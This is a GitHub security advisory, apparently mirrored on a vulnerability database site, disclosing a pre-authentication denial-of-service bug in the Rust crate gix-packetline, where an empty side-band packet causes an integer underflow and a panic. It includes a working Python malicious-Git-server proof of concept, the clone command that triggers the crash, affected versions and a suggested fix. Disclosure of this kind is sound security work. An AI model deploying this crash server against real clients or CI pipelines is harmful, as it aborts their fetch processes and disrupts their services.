GHSA-2VH6-HW4J-32WW

Vulnerability from github – Published: 2026-08-28 16:09 – Updated: 2026-08-28 16:09
VLAI
Summary
gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)
Details

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

  1. Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:
import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()
  1. Point the real client at it:
RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.4"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "gix-packetline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:09:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.\n\n### Details\nIn `gix-packetline/src/lib.rs`, `impl From\u003c\u0026[u8]\u003e for TextRef` strips a trailing newline with `d[d.len() - 1]`:\nhttps://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199\nWhen `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.\n\n(Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.)\n\n### PoC\nConfirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`.\n\n1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload:\n\n```python\nimport socket\nHOST, PORT = \"127.0.0.1\", 9418\ndef pkt(d): return (\"%04x\" % (len(d)+4)).encode() + d\nFLUSH=b\"0000\"; OID=b\"1234567890123456789012345678901234567890\"\ndef handle(c):\n    c.recv(65536)\n    c.sendall(pkt(b\"version 2\\n\")+pkt(b\"agent=git/evil\\n\")+pkt(b\"ls-refs=unborn\\n\")\n              +pkt(b\"fetch=shallow wait-for-done\\n\")+pkt(b\"object-format=sha1\\n\")+FLUSH)\n    buf=b\"\"; sent=False\n    while True:\n        d=c.recv(65536)\n        if not d: return\n        buf+=d\n        if b\"command=ls-refs\" in buf and not sent:\n            c.sendall(pkt(OID+b\" HEAD symref-target:refs/heads/master\\n\")\n                      +pkt(OID+b\" refs/heads/master\\n\")+FLUSH); sent=True; buf=b\"\"; continue\n        if b\"command=fetch\" in buf and (buf.rstrip().endswith(b\"0000\") or b\"done\" in buf):\n            c.sendall(pkt(b\"packfile\\n\") + b\"0005\\x02\")   # band id 2, EMPTY payload\n            try: c.recv(4096)\n            except Exception: pass\n            return\ns=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\ns.bind((HOST,PORT)); s.listen(1); print(\"listening\",PORT)\nconn,_=s.accept(); conn.settimeout(5.0)\ntry: handle(conn)\nfinally: conn.close(); s.close()\n```\n\n2. Point the real client at it:\n```\nRUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out\n```\n\nObserved:\n```\nthread \u0027main\u0027 panicked at gix-packetline/src/lib.rs:199:20:\nindex out of bounds: the len is 0 but the index is 18446744073709551615\nexit code: 101\n```\n### Impact\nA pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using `gix` / `gix-packetline` crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.\n\n### Suggested fix\nGuard the empty-slice case instead of indexing unconditionally, e.g. `let d = d.strip_suffix(b\"\\n\").unwrap_or(d);`, or check `!d.is_empty()` / `d.last() == Some(\u0026b\u0027\\n\u0027)` before slicing.",
  "id": "GHSA-2vh6-hw4j-32ww",
  "modified": "2026-08-28T16:09:59Z",
  "published": "2026-08-28T16:09:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-2vh6-hw4j-32ww"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/pull/2638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/commit/4bef04ae8a261634200b3a6faabdd77e25aeb8c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GitoxideLabs/gitoxide"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/releases/tag/gix-packetline-v0.21.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…